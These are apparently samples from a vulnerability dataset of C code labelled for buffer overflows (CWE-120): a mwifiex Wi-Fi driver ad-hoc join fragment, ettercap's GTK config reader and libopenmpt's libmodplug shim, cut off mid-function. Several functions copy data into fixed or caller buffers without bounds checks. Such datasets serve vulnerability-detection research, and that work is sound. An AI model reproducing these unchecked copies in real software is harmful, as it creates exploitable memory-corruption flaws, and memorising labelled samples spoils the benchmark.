curr_pkt_filter; u8 *pos = (u8 *) adhoc_join + sizeof(struct host_cmd_ds_802_11_ad_hoc_join); /* Use G protection */ #define USE_G_PROTECTION 0x02 if (bss_desc->erp_flags & USE_G_PROTECTION) { curr_pkt_filter = priv-> curr_pkt_filter | HostCmd_ACT_MAC_ADHOC_G_PROTECTION_ON; if (mwifiex_send_cmd(priv, HostCmd_CMD_MAC_CONTROL, HostCmd_ACT_GEN_SET, 0, &curr_pkt_filter, false)) { mwifiex_dbg(priv->adapter, ERROR, "ADHOC_J_CMD: G Protection config failed\n"); return -1; } } priv->attempted_bss_desc = bss_desc; cmd->command = cpu_to_le16(HostCmd_CMD_802_11_AD_HOC_JOIN); adhoc_join->bss_descriptor.bss_mode = HostCmd_BSS_MODE_IBSS; adhoc_join->bss_descriptor.beacon_period = cpu_to_le16(bss_desc->beacon_period); memcpy(&adhoc_join->bss_descriptor.bssid, &bss_desc->mac_address, ETH_ALEN); memcpy(&adhoc_join->bss_descriptor.ssid, &bss_desc->ssid.ssid, bss_desc->ssid.ssid_len); memcpy(&adhoc_join->bss_descriptor.phy_param_set, &bss_desc->phy_param_set, sizeof(union ieee_types_phy_param_set)); memcpy(&adhoc_join->bss_descriptor.ss_param_set, &bss_desc->ss_param_set, sizeof(union ieee_types_ss_param_set)); tmp_cap = bss_desc->cap_info_bitmap; tmp_cap &= CAPINFO_MASK; mwifiex_dbg(priv->adapter, INFO, "info: ADHOC_J_CMD: tmp_cap=%4X CAPINFO_MASK=%4lX\n", tmp_cap, CAPINFO_MASK); /* Information on BSSID descriptor passed to FW */ mwifiex_dbg(priv->adapter, INFO, "info: ADHOC_J_CMD: BSSID=%pM, SSID='%s'\n", adhoc_join->bss_descriptor.bssid, adhoc_join->bss_descriptor.ssid); for (i = 0; i < MWIFIEX_SUPPORTED_RATES && bss_desc->supported_rates[i]; i++) ; rates_size = i; /* Copy Data Rates from the Rates recorded in scan response */ memset(adhoc_join->bss_descriptor.data_rates, 0, sizeof(adhoc_join->bss_descriptor.data_rates)); memcpy(adhoc_join->bss_descriptor.data_rates, bss_desc->supported_rates, rates_size); /* Copy the adhoc join rates into Current BSS state structure */ priv->curr_bss_params.num_of_rates = rates_size; memcpy(&priv->curr_bss_params.data_rates, bss_desc->supported_rates, rates_size); /* Copy the channel information */ priv->curr_bss_params.bss_descriptor.channel = bss_desc->channel; priv->curr_bss_params.band = (u8) bss_desc->bss_band; if (priv->sec_info.wep_enabled || priv->sec_info.wpa_enabled) tmp_cap |= WLAN_CAPABILITY_PRIVACY; if (IS_SUPPORT_MULTI_BANDS(priv->adapter)) { /* Append a channel TLV */ chan_tlv = (struct mwifiex_ie_types_chan_list_param_set *) pos; chan_tlv->header.type = cpu_to_le16(TLV_TYPE_CHANLIST); chan_tlv->header.len = cpu_to_le16(sizeof(struct mwifiex_chan_scan_param_set)); memset(chan_tlv->chan_scan_param, 0x00, sizeof(struct mwifiex_chan_scan_param_set)); chan_tlv->chan_scan_param[0].chan_number = (bss_desc->phy_param_set.ds_param_set.current_chan); mwifiex_dbg(priv->adapter, INFO, "info: ADHOC_J_CMD: TLV Chan=%d\n", chan_tlv->chan_scan_param[0].chan_number); chan_tlv->chan_scan_param[0].radio_type = mwifiex_band_to_radio_type((u8) bss_desc->bss_band); mwifiex_dbg(priv->adapter, INFO, "info: ADHOC_J_CMD: TLV Band=%d\n", chan_tlv->chan_scan_param[0].radio_type); pos += sizeof(chan_tlv->header) + sizeof(struct mwifiex_chan_scan_param_set); cmd_append_size += sizeof(chan_tlv->header) + sizeof(struct mwifiex_chan_scan_param_set); } if (priv->sec_info.wpa_enabled) rsn_ie_len = mwifiex_append_rsn_ie_wpa_wpa2(priv, &pos); if (rsn_ie_len == -1) return -1; cmd_append_size += rsn_ie_len; if (ISSUPP_11NENABLED(priv->adapter->fw_cap_info)) cmd_append_size += mwifiex_cmd_append_11n_tlv(priv, bss_desc, &pos); /* Append vendor specific IE TLV */ cmd_append_size += mwifiex_cmd_append_vsie_tlv(priv, MWIFIEX_VSIE_MASK_ADHOC, &pos); cmd->size = cpu_to_le16 ((u16) (sizeof(struct host_cmd_ds_802_11_ad_hoc_join) + S_DS_GEN + cmd_append_size)); adhoc_join->bss_descriptor.cap_info_bitmap = cpu_to_le16(tmp_cap); return 0; } /* * This function handles the command response of ad-hoc start and * ad-hoc join. * * The function generates a device-connected event to notify * the applications, in case of successful ad-hoc start/join, and * saves the beacon buffer. */ int mwifiex_ret_802_11_ad_hoc(struct mwifiex_private *priv, struct host_cmd_ds_command *resp) { int ret = 0; struct mwifiex_adapter *adapter = priv->adapter; struct host_cmd_ds_802_11_ad_hoc_start_result *start_result = &resp->params.start_result; struct host_cmd_ds_802_11_ad_hoc_join_result *join_result = &resp->params.join_result; struct mwifiex_bssdescriptor *bss_desc; u16 cmd = le16_to_cpu(resp->command); u8 result; if (!priv->attempted_bss_desc) { mwifiex_dbg(priv->adapter, ERROR, "ADHOC_RESP: failed, association terminated by host\n"); goto done; } if (cmd == HostCmd_CMD_802_11_AD_HOC_START) result = start_result->result; else result = join_result->result; bss_desc = priv->attempted_bss_desc; /* Join result code 0 --> SUCCESS */ if (result) { mwifiex_dbg(priv->adapter, ERROR, "ADHOC_RESP: failed\n"); if (priv->media_connected) mwifiex_reset_connect_state(priv, result, true); memset(&priv->curr_bss_params.bss_descriptor, 0x00, sizeof(struct mwifiex_bssdescriptor)); ret = -1; goto done; } /* Send a Media Connected event, according to the Spec */ priv->media_connected = true; if (le16_to_cpu(resp->command) == HostCmd_CMD_802_11_AD_HOC_START) { mwifiex_dbg(priv->adapter, INFO, "info: ADHOC_S_RESP %s\n", bss_desc->ssid.ssid); /* Update the created network descriptor with the new BSSID */ memcpy(bss_desc->mac_address, start_result->bssid, ETH_ALEN); priv->adhoc_state = ADHOC_STARTED; } else { /* * Now the join cmd should be successful. * If BSSID has changed use SSID to compare instead of BSSID */ mwifiex_dbg(priv->adapter, INFO, "info: ADHOC_J_RESP %s\n", bss_desc->ssid.ssid); /* * Make a copy of current BSSID descriptor, only needed for * join since the current descriptor is already being used * for adhoc start */ memcpy(&priv->curr_bss_params.bss_descriptor, bss_desc, sizeof(struct mwifiex_bssdescriptor)); priv->adhoc_state = ADHOC_JOINED; } mwifiex_dbg(priv->adapter, INFO, "info: ADHOC_RESP: channel = %d\n", priv->adhoc_channel); mwifiex_dbg(priv->adapter, INFO, "info: ADHOC_RESP: BSSID = %pM\n", priv->curr_bss_params.bss_descriptor.mac_address); if (!netif_carrier_ok(priv->netdev)) netif_carrier_on(priv->netdev); mwifiex_wake_up_net_dev_queue(priv->netdev, adapter); mwifiex_save_curr_bcn(priv); done: /* Need to indicate IOCTL complete */ if (adapter->curr_cmd->wait_q_enabled) { if (ret) adapter->cmd_wait_q.status = -1; else adapter->cmd_wait_q.status = 0; } return ret; } /* * This function associates to a specific BSS discovered in a scan. * * It clears any past association response stored for application * retrieval and calls the command preparation routine to send the * command to firmware. */ int mwifiex_associate(struct mwifiex_private *priv, struct mwifiex_bssdescriptor *bss_desc) { /* Return error if the adapter is not STA role or table entry * is not marked as infra. */ if ((GET_BSS_ROLE(priv) != MWIFIEX_BSS_ROLE_STA) || (bss_desc->bss_mode != NL80211_IFTYPE_STATION)) return -1; if (ISSUPP_11ACENABLED(priv->adapter->fw_cap_info) && !bss_desc->disable_11n && !bss_desc->disable_11ac && priv->adapter->config_bands & BAND_AAC) mwifiex_set_11ac_ba_params(priv); else mwifiex_set_ba_params(priv); /* Clear any past association response stored for application retrieval */ priv->assoc_rsp_size = 0; return mwifiex_send_cmd(priv, HostCmd_CMD_802_11_ASSOCIATE, HostCmd_ACT_GEN_SET, 0, bss_desc, true); } /* * This function starts an ad-hoc network. * * It calls the command preparation routine to send the command to firmware. */ int mwifiex_adhoc_start(struct mwifiex_private *priv, struct cfg80211_ssid *adhoc_ssid) { mwifiex_dbg(priv->adapter, INFO, "info: Adhoc Channel = %d\n", priv->adhoc_channel); mwifiex_dbg(priv->adapter, INFO, "info: curr_bss_params.channel = %d\n", priv->curr_bss_params.bss_descriptor.channel); mwifiex_dbg(priv->adapter, INFO, "info: curr_bss_params.band = %d\n", priv->curr_bss_params.band); if (ISSUPP_11ACENABLED(priv->adapter->fw_cap_info) && priv->adapter->config_bands & BAND_AAC) mwifiex_set_11ac_ba_params(priv); else mwifiex_set_ba_params(priv); return mwifiex_send_cmd(priv, HostCmd_CMD_802_11_AD_HOC_START, HostCmd_ACT_GEN_SET, 0, adhoc_ssid, true); } /* * This function joins an ad-hoc network found in a previous scan. * * It calls the command preparation routine to send the command to firmware, * if already not connected to the requested SSID. */ int mwifiex_adhoc_join(struct mwifiex_private *priv, struct mwifiex_bssdescriptor *bss_desc) { mwifiex_dbg(priv->adapter, INFO, "info: adhoc join: curr_bss ssid =%s\n", priv->curr_bss_params.bss_descriptor.ssid.ssid); mwifiex_dbg(priv->adapter, INFO, "info: adhoc join: curr_bss ssid_len =%u\n", priv->curr_bss_params.bss_descriptor.ssid.ssid_len); mwifiex_dbg(priv->adapter, INFO, "info: adhoc join: ssid =%s\n", bss_desc->ssid.ssid); mwifiex_dbg(priv->adapter, INFO, "info: adhoc join: ssid_len =%u\n", bss_desc->ssid.ssid_len); /* Check if the requested SSID is already joined */ if (priv->curr_bss_params.bss_descriptor.ssid.ssid_len && !mwifiex_ssid_cmp(&bss_desc->ssid, &priv->curr_bss_params.bss_descriptor.ssid) && (priv->curr_bss_params.bss_descriptor.bss_mode == NL80211_IFTYPE_ADHOC)) { mwifiex_dbg(priv->adapter, INFO, "info: ADHOC_J_CMD: new ad-hoc SSID\t" "is the same as current; not attempting to re-join\n"); return -1; } if (ISSUPP_11ACENABLED(priv->adapter->fw_cap_info) && !bss_desc->disable_11n && !bss_desc->disable_11ac && priv->adapter->config_bands & BAND_AAC) mwifiex_set_11ac_ba_params(priv); else mwifiex_set_ba_params(priv); mwifiex_dbg(priv->adapter, INFO, "info: curr_bss_params.channel = %d\n", priv->curr_bss_params.bss_descriptor.channel); mwifiex_dbg(priv->adapter, INFO, "info: curr_bss_params.band = %c\n", priv->curr_bss_params.band); return mwifiex_send_cmd(priv, HostCmd_CMD_802_11_AD_HOC_JOIN, HostCmd_ACT_GEN_SET, 0, bss_desc, true); } /* * This function deauthenticates/disconnects from infra network by sending * deauthentication request. */ static int mwifiex_deauthenticate_infra(struct mwifiex_private *priv, u8 *mac) { u8 mac_address[ETH_ALEN]; int ret; if (!mac || is_zero_ether_addr(mac)) memcpy(mac_address, priv->curr_bss_params.bss_descriptor.mac_address, ETH_ALEN); else memcpy(mac_address, mac, ETH_ALEN); ret = mwifiex_send_cmd(priv, HostCmd_CMD_802_11_DEAUTHENTICATE, HostCmd_ACT_GEN_SET, 0, mac_address, true); return ret; } /* * This function deauthenticates/disconnects from a BSS. * * In case of infra made, it sends deauthentication request, and * in case of ad-hoc mode, a stop network request is sent to the firmware. * In AP mode, a command to stop bss is sent to firmware. */ int mwifiex_deauthenticate(struct mwifiex_private *priv, u8 *mac) { int ret = 0; if (!priv->media_connected) return 0; switch (priv->bss_mode) { case NL80211_IFTYPE_STATION: case NL80211_IFTYPE_P2P_CLIENT: ret = mwifiex_deauthenticate_infra(priv, mac); if (ret) cfg80211_disconnected(priv->netdev, 0, NULL, 0, true, GFP_KERNEL); break; case NL80211_IFTYPE_ADHOC: return mwifiex_send_cmd(priv, HostCmd_CMD_802_11_AD_HOC_STOP, HostCmd_ACT_GEN_SET, 0, NULL, true); case NL80211_IFTYPE_AP: return mwifiex_send_cmd(priv, HostCmd_CMD_UAP_BSS_STOP, HostCmd_ACT_GEN_SET, 0, NULL, true); default: break; } return ret; } /* This function deauthenticates/disconnects from all BSS. */ void mwifiex_deauthenticate_all(struct mwifiex_adapter *adapter) { struct mwifiex_private *priv; int i; for (i = 0; i < adapter->priv_num; i++) { priv = adapter->priv[i]; if (priv) mwifiex_deauthenticate(priv, NULL); } } EXPORT_SYMBOL_GPL(mwifiex_deauthenticate_all); /* * This function converts band to radio type used in channel TLV. */ u8 mwifiex_band_to_radio_type(u8 band) { switch (band) { case BAND_A: case BAND_AN: case BAND_A | BAND_AN: case BAND_A | BAND_AN | BAND_AAC: return HostCmd_SCAN_RADIO_TYPE_A; case BAND_B: case BAND_G: case BAND_B | BAND_G: default: return HostCmd_SCAN_RADIO_TYPE_BG; } }
./CrossVul/dataset_final_sorted/CWE-120/c/bad_4489_0
crossvul-cpp_data_good_4711_0
/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. $Id: ec_gtk_conf.c,v 1.2 2004/09/30 02:09:27 daten Exp $ */ #include <ec.h> #include <ec_gtk.h> void gtkui_conf_set(char *name, short value); short gtkui_conf_get(char *name); void gtkui_conf_read(void); void gtkui_conf_save(void); static char *filename = NULL; static struct gtk_conf_entry settings[] = { { "window_top", 0 }, { "window_left", 0 }, { "window_height", 440 }, { "window_width", 600 }, { NULL, 0 }, }; void gtkui_conf_set(char *name, short value) { short c = 0; DEBUG_MSG("gtkui_conf_set: name=%s value=%hu", name, value); for(c = 0; settings[c].name != NULL; c++) { if(!strcmp(name, settings[c].name)) { settings[c].value = value; break; } } } short gtkui_conf_get(char *name) { unsigned short c = 0; DEBUG_MSG("gtkui_conf_get: name=%s", name); for(c = 0; settings[c].name != NULL; c++) { if(!strcmp(name, settings[c].name)) return(settings[c].value); } return(0); } void gtkui_conf_read(void) { FILE *fd; const char *path; char line[100], name[30]; short value; #ifdef OS_WINDOWS path = ec_win_get_user_dir(); #else path = g_get_home_dir(); #endif filename = g_build_filename(path, ".ettercap_gtk", NULL); DEBUG_MSG("gtkui_conf_read: %s", filename); fd = fopen(filename, "r"); if(!fd) return; while(fgets(line, 100, fd)) { sscanf(line, "%s = %hd", name, &value); gtkui_conf_set(name, value); } fclose(fd); } void gtkui_conf_save(void) { FILE *fd; int c; DEBUG_MSG("gtkui_conf_save"); if(!filename) return; fd = fopen(filename, "w"); if(fd != NULL) { for(c = 0; settings[c].name != NULL; c++) fprintf(fd, "%s = %hd\n", settings[c].name, settings[c].value); fclose(fd); } free(filename); filename = NULL; } /* EOF */ // vim:ts=3:expandtab
./CrossVul/dataset_final_sorted/CWE-120/c/good_4711_0
crossvul-cpp_data_bad_1167_0
/* * libopenmpt_modplug.c * -------------------- * Purpose: libopenmpt emulation of the libmodplug interface * Notes : (currently none) * Authors: OpenMPT Devs * The OpenMPT source code is released under the BSD license. Read LICENSE for more details. */ #ifndef NO_LIBMODPLUG #ifdef LIBOPENMPT_BUILD_DLL #undef LIBOPENMPT_BUILD_DLL #endif #ifdef _MSC_VER #ifndef _CRT_SECURE_NO_WARNINGS #define _CRT_SECURE_NO_WARNINGS #endif #endif /* _MSC_VER */ #include "libopenmpt.h" #include <limits.h> #include <math.h> #include <memory.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define MODPLUG_BUILD #ifdef _MSC_VER #ifdef MPT_BUILD_MSVC_SHARED #define DLL_EXPORT #endif /* MPT_BUILD_MSVC_SHARED */ #ifdef MPT_BUILD_MSVC_STATIC #define MODPLUG_STATIC #endif /* MPT_BUILD_MSVC_STATIC */ #endif /* _MSC_VER */ #ifdef _MSC_VER #define LIBOPENMPT_MODPLUG_API #else /* !_MSC_VER */ #define LIBOPENMPT_MODPLUG_API LIBOPENMPT_API_HELPER_EXPORT #endif /* _MSC_VER */ #include "libmodplug/modplug.h" /* from libmodplug/sndfile.h */ /* header is not c clean */ #define MIXING_ATTENUATION 4 #define MOD_TYPE_NONE 0x0 #define MOD_TYPE_MOD 0x1 #define MOD_TYPE_S3M 0x2 #define MOD_TYPE_XM 0x4 #define MOD_TYPE_MED 0x8 #define MOD_TYPE_MTM 0x10 #define MOD_TYPE_IT 0x20 #define MOD_TYPE_669 0x40 #define MOD_TYPE_ULT 0x80 #define MOD_TYPE_STM 0x100 #define MOD_TYPE_FAR 0x200 #define MOD_TYPE_WAV 0x400 #define MOD_TYPE_AMF 0x800 #define MOD_TYPE_AMS 0x1000 #define MOD_TYPE_DSM 0x2000 #define MOD_TYPE_MDL 0x4000 #define MOD_TYPE_OKT 0x8000 #define MOD_TYPE_MID 0x10000 #define MOD_TYPE_DMF 0x20000 #define MOD_TYPE_PTM 0x40000 #define MOD_TYPE_DBM 0x80000 #define MOD_TYPE_MT2 0x100000 #define MOD_TYPE_AMF0 0x200000 #define MOD_TYPE_PSM 0x400000 #define MOD_TYPE_J2B 0x800000 #define MOD_TYPE_ABC 0x1000000 #define MOD_TYPE_PAT 0x2000000 #define MOD_TYPE_UMX 0x80000000 // Fake type #define BUFFER_COUNT 1024 struct _ModPlugFile { openmpt_module* mod; signed short* buf; signed int* mixerbuf; char* name; char* message; ModPlug_Settings settings; ModPlugMixerProc mixerproc; ModPlugNote** patterns; }; static ModPlug_Settings globalsettings = { MODPLUG_ENABLE_OVERSAMPLING|MODPLUG_ENABLE_NOISE_REDUCTION, 2, 16, 44100, MODPLUG_RESAMPLE_LINEAR, 128, 256, 0, 0, 0, 0, 0, 0, 0 }; static int32_t modplugresamplingmode_to_filterlength(int mode) { if(mode<0){ return 1; } switch(mode){ case MODPLUG_RESAMPLE_NEAREST: return 1; break; case MODPLUG_RESAMPLE_LINEAR: return 2; break; case MODPLUG_RESAMPLE_SPLINE: return 4; break; case MODPLUG_RESAMPLE_FIR: return 8; break; } return 8; } LIBOPENMPT_MODPLUG_API ModPlugFile* ModPlug_Load(const void* data, int size) { ModPlugFile* file = malloc(sizeof(ModPlugFile)); const char* name = NULL; const char* message = NULL; if(!file) return NULL; memset(file,0,sizeof(ModPlugFile)); memcpy(&file->settings,&globalsettings,sizeof(ModPlug_Settings)); file->mod = openmpt_module_create_from_memory2(data,size,NULL,NULL,NULL,NULL,NULL,NULL,NULL); if(!file->mod){ free(file); return NULL; } file->buf = malloc(BUFFER_COUNT*sizeof(signed short)*4); if(!file->buf){ openmpt_module_destroy(file->mod); free(file); return NULL; } openmpt_module_set_repeat_count(file->mod,file->settings.mLoopCount); name = openmpt_module_get_metadata(file->mod,"title"); if(name){ file->name = malloc(strlen(name)+1); if(file->name){ strcpy(file->name,name); } openmpt_free_string(name); name = NULL; }else{ file->name = malloc(strlen("")+1); if(file->name){ strcpy(file->name,""); } } message = openmpt_module_get_metadata(file->mod,"message"); if(message){ file->message = malloc(strlen(message)+1); if(file->message){ strcpy(file->message,message); } openmpt_free_string(message); message = NULL; }else{ file->message = malloc(strlen("")+1); if(file->message){ strcpy(file->message,""); } } openmpt_module_set_render_param(file->mod,OPENMPT_MODULE_RENDER_STEREOSEPARATION_PERCENT,file->settings.mStereoSeparation*100/128); openmpt_module_set_render_param(file->mod,OPENMPT_MODULE_RENDER_INTERPOLATIONFILTER_LENGTH,modplugresamplingmode_to_filterlength(file->settings.mResamplingMode)); return file; } LIBOPENMPT_MODPLUG_API void ModPlug_Unload(ModPlugFile* file) { int p; if(!file) return; if(file->patterns){ for(p=0;p<openmpt_module_get_num_patterns(file->mod);p++){ if(file->patterns[p]){ free(file->patterns[p]); file->patterns[p] = NULL; } } free(file->patterns); file->patterns = NULL; } if(file->mixerbuf){ free(file->mixerbuf); file->mixerbuf = NULL; } openmpt_module_destroy(file->mod); file->mod = NULL; free(file->name); file->name = NULL; free(file->message); file->message = NULL; free(file->buf); file->buf = NULL; free(file); } LIBOPENMPT_MODPLUG_API int ModPlug_Read(ModPlugFile* file, void* buffer, int size) { int framesize; int framecount; int frames; int rendered; int frame; int channel; int totalrendered; signed short* in; signed int* mixbuf; unsigned char* buf8; signed short* buf16; signed int* buf32; if(!file) return 0; framesize = file->settings.mBits/8*file->settings.mChannels; framecount = size/framesize; buf8 = buffer; buf16 = buffer; buf32 = buffer; totalrendered = 0; while(framecount>0){ frames = framecount; if(frames>BUFFER_COUNT){ frames = BUFFER_COUNT; } if(file->settings.mChannels==1){ rendered = (int)openmpt_module_read_mono(file->mod,file->settings.mFrequency,frames,&file->buf[frames*0]); }else if(file->settings.mChannels==2){ rendered = (int)openmpt_module_read_stereo(file->mod,file->settings.mFrequency,frames,&file->buf[frames*0],&file->buf[frames*1]); }else if(file->settings.mChannels==4){ rendered = (int)openmpt_module_read_quad(file->mod,file->settings.mFrequency,frames,&file->buf[frames*0],&file->buf[frames*1],&file->buf[frames*2],&file->buf[frames*3]); }else{ return 0; } in = file->buf; if(file->mixerproc&&file->mixerbuf){ mixbuf=file->mixerbuf; for(frame=0;frame<frames;frame++){ for(channel=0;channel<file->settings.mChannels;channel++){ *mixbuf = in[frames*channel+frame]<<(32-16-1-MIXING_ATTENUATION); mixbuf++; } } file->mixerproc(file->mixerbuf,file->settings.mChannels*frames,file->settings.mChannels); mixbuf=file->mixerbuf; for(frame=0;frame<frames;frame++){ for(channel=0;channel<file->settings.mChannels;channel++){ in[frames*channel+frame] = *mixbuf>>(32-16-1-MIXING_ATTENUATION); mixbuf++; } } } if(file->settings.mBits==8){ for(frame=0;frame<frames;frame++){ for(channel=0;channel<file->settings.mChannels;channel++){ *buf8 = in[frames*channel+frame]/256+0x80; buf8++; } } }else if(file->settings.mBits==16){ for(frame=0;frame<frames;frame++){ for(channel=0;channel<file->settings.mChannels;channel++){ *buf16 = in[frames*channel+frame]; buf16++; } } }else if(file->settings.mBits==32){ for(frame=0;frame<frames;frame++){ for(channel=0;channel<file->settings.mChannels;channel++){ *buf32 = in[frames*channel+frame] << (32-16-1-MIXING_ATTENUATION); buf32++; } } }else{ return 0; } totalrendered += rendered; framecount -= frames; if(!rendered) break; } memset(((char*)buffer)+totalrendered*framesize,0,size-totalrendered*framesize); return totalrendered*framesize; } LIBOPENMPT_MODPLUG_API const char* ModPlug_GetName(ModPlugFile* file) { if(!file) return NULL; return file->name; } LIBOPENMPT_MODPLUG_API int ModPlug_GetLength(ModPlugFile* file) { if(!file) return 0; return (int)(openmpt_module_get_duration_seconds(file->mod)*1000.0); } LIBOPENMPT_MODPLUG_API void ModPlug_Seek(ModPlugFile* file, int millisecond) { if(!file) return; openmpt_module_set_position_seconds(file->mod,(double)millisecond*0.001); } LIBOPENMPT_MODPLUG_API void ModPlug_GetSettings(ModPlug_Settings* settings) { if(!settings) return; memcpy(settings,&globalsettings,sizeof(ModPlug_Settings)); } LIBOPENMPT_MODPLUG_API void ModPlug_SetSettings(const ModPlug_Settings* settings) { if(!settings) return; memcpy(&globalsettings,settings,sizeof(ModPlug_Settings)); } LIBOPENMPT_MODPLUG_API unsigned int ModPlug_GetMasterVolume(ModPlugFile* file) { int32_t val; if(!file) return 0; val = 0; if(!openmpt_module_get_render_param(file->mod,OPENMPT_MODULE_RENDER_MASTERGAIN_MILLIBEL,&val)) return 128; return (unsigned int)(128.0*pow(10.0,val*0.0005)); } LIBOPENMPT_MODPLUG_API void ModPlug_SetMasterVolume(ModPlugFile* file,unsigned int cvol) { if(!file) return; openmpt_module_set_render_param(file->mod,OPENMPT_MODULE_RENDER_MASTERGAIN_MILLIBEL,(int32_t)(2000.0*log10(cvol/128.0))); } LIBOPENMPT_MODPLUG_API int ModPlug_GetCurrentSpeed(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_current_speed(file->mod); } LIBOPENMPT_MODPLUG_API int ModPlug_GetCurrentTempo(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_current_tempo(file->mod); } LIBOPENMPT_MODPLUG_API int ModPlug_GetCurrentOrder(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_current_order(file->mod); } LIBOPENMPT_MODPLUG_API int ModPlug_GetCurrentPattern(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_current_pattern(file->mod); } LIBOPENMPT_MODPLUG_API int ModPlug_GetCurrentRow(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_current_row(file->mod); } LIBOPENMPT_MODPLUG_API int ModPlug_GetPlayingChannels(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_current_playing_channels(file->mod); } LIBOPENMPT_MODPLUG_API void ModPlug_SeekOrder(ModPlugFile* file,int order) { if(!file) return; openmpt_module_set_position_order_row(file->mod,order,0); } LIBOPENMPT_MODPLUG_API int ModPlug_GetModuleType(ModPlugFile* file) { const char* type; int retval; if(!file) return 0; type = openmpt_module_get_metadata(file->mod,"type"); retval = MOD_TYPE_NONE; if(!type){ return retval; } if(!strcmp(type,"mod")){ retval = MOD_TYPE_MOD; }else if(!strcmp(type,"s3m")){ retval = MOD_TYPE_S3M; }else if(!strcmp(type,"xm")){ retval = MOD_TYPE_XM; }else if(!strcmp(type,"med")){ retval = MOD_TYPE_MED; }else if(!strcmp(type,"mtm")){ retval = MOD_TYPE_MTM; }else if(!strcmp(type,"it")){ retval = MOD_TYPE_IT; }else if(!strcmp(type,"669")){ retval = MOD_TYPE_669; }else if(!strcmp(type,"ult")){ retval = MOD_TYPE_ULT; }else if(!strcmp(type,"stm")){ retval = MOD_TYPE_STM; }else if(!strcmp(type,"far")){ retval = MOD_TYPE_FAR; }else if(!strcmp(type,"s3m")){ retval = MOD_TYPE_WAV; }else if(!strcmp(type,"amf")){ retval = MOD_TYPE_AMF; }else if(!strcmp(type,"ams")){ retval = MOD_TYPE_AMS; }else if(!strcmp(type,"dsm")){ retval = MOD_TYPE_DSM; }else if(!strcmp(type,"mdl")){ retval = MOD_TYPE_MDL; }else if(!strcmp(type,"okt")){ retval = MOD_TYPE_OKT; }else if(!strcmp(type,"mid")){ retval = MOD_TYPE_MID; }else if(!strcmp(type,"dmf")){ retval = MOD_TYPE_DMF; }else if(!strcmp(type,"ptm")){ retval = MOD_TYPE_PTM; }else if(!strcmp(type,"dbm")){ retval = MOD_TYPE_DBM; }else if(!strcmp(type,"mt2")){ retval = MOD_TYPE_MT2; }else if(!strcmp(type,"amf0")){ retval = MOD_TYPE_AMF0; }else if(!strcmp(type,"psm")){ retval = MOD_TYPE_PSM; }else if(!strcmp(type,"j2b")){ retval = MOD_TYPE_J2B; }else if(!strcmp(type,"abc")){ retval = MOD_TYPE_ABC; }else if(!strcmp(type,"pat")){ retval = MOD_TYPE_PAT; }else if(!strcmp(type,"umx")){ retval = MOD_TYPE_UMX; }else{ retval = MOD_TYPE_IT; /* fallback, most complex type */ } openmpt_free_string(type); return retval; } LIBOPENMPT_MODPLUG_API char* ModPlug_GetMessage(ModPlugFile* file) { if(!file) return NULL; return file->message; } LIBOPENMPT_MODPLUG_API unsigned int ModPlug_NumInstruments(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_num_instruments(file->mod); } LIBOPENMPT_MODPLUG_API unsigned int ModPlug_NumSamples(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_num_samples(file->mod); } LIBOPENMPT_MODPLUG_API unsigned int ModPlug_NumPatterns(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_num_patterns(file->mod); } LIBOPENMPT_MODPLUG_API unsigned int ModPlug_NumChannels(ModPlugFile* file) { if(!file) return 0; return openmpt_module_get_num_channels(file->mod); } LIBOPENMPT_MODPLUG_API unsigned int ModPlug_SampleName(ModPlugFile* file, unsigned int qual, char* buff) { const char* str; unsigned int retval; size_t tmpretval; if(!file) return 0; str = openmpt_module_get_sample_name(file->mod,qual-1); if(!str){ if(buff){ *buff = '\0'; } return 0; } tmpretval = strlen(str); if(tmpretval>=INT_MAX){ tmpretval = INT_MAX-1; } retval = (int)tmpretval; if(buff){ memcpy(buff,str,retval+1); buff[retval] = '\0'; } openmpt_free_string(str); return retval; } LIBOPENMPT_MODPLUG_API unsigned int ModPlug_InstrumentName(ModPlugFile* file, unsigned int qual, char* buff) { const char* str; unsigned int retval; size_t tmpretval; if(!file) return 0; str = openmpt_module_get_instrument_name(file->mod,qual-1); if(!str){ if(buff){ *buff = '\0'; } return 0; } tmpretval = strlen(str); if(tmpretval>=INT_MAX){ tmpretval = INT_MAX-1; } retval = (int)tmpretval; if(buff){ memcpy(buff,str,retval+1); buff[retval] = '\0'; } openmpt_free_string(str); return retval; } LIBOPENMPT_MODPLUG_API ModPlugNote* ModPlug_GetPattern(ModPlugFile* file, int pattern, unsigned int* numrows) { int c; int r; int numr; int numc; ModPlugNote note; if(!file) return NULL; if(numrows){ *numrows = openmpt_module_get_pattern_num_rows(file->mod,pattern); } if(pattern<0||pattern>=openmpt_module_get_num_patterns(file->mod)){ return NULL; } if(!file->patterns){ file->patterns = malloc(sizeof(ModPlugNote*)*openmpt_module_get_pattern_num_rows(file->mod,pattern)); if(!file->patterns) return NULL; memset(file->patterns,0,sizeof(ModPlugNote*)*openmpt_module_get_pattern_num_rows(file->mod,pattern)); } if(!file->patterns[pattern]){ file->patterns[pattern] = malloc(sizeof(ModPlugNote)*openmpt_module_get_pattern_num_rows(file->mod,pattern)*openmpt_module_get_num_channels(file->mod)); if(!file->patterns[pattern]) return NULL; memset(file->patterns[pattern],0,sizeof(ModPlugNote)*openmpt_module_get_pattern_num_rows(file->mod,pattern)*openmpt_module_get_num_channels(file->mod)); } numr = openmpt_module_get_pattern_num_rows(file->mod,pattern); numc = openmpt_module_get_num_channels(file->mod); for(r=0;r<numr;r++){ for(c=0;c<numc;c++){ memset(&note,0,sizeof(ModPlugNote)); note.Note = openmpt_module_get_pattern_row_channel_command(file->mod,pattern,r,c,OPENMPT_MODULE_COMMAND_NOTE); note.Instrument = 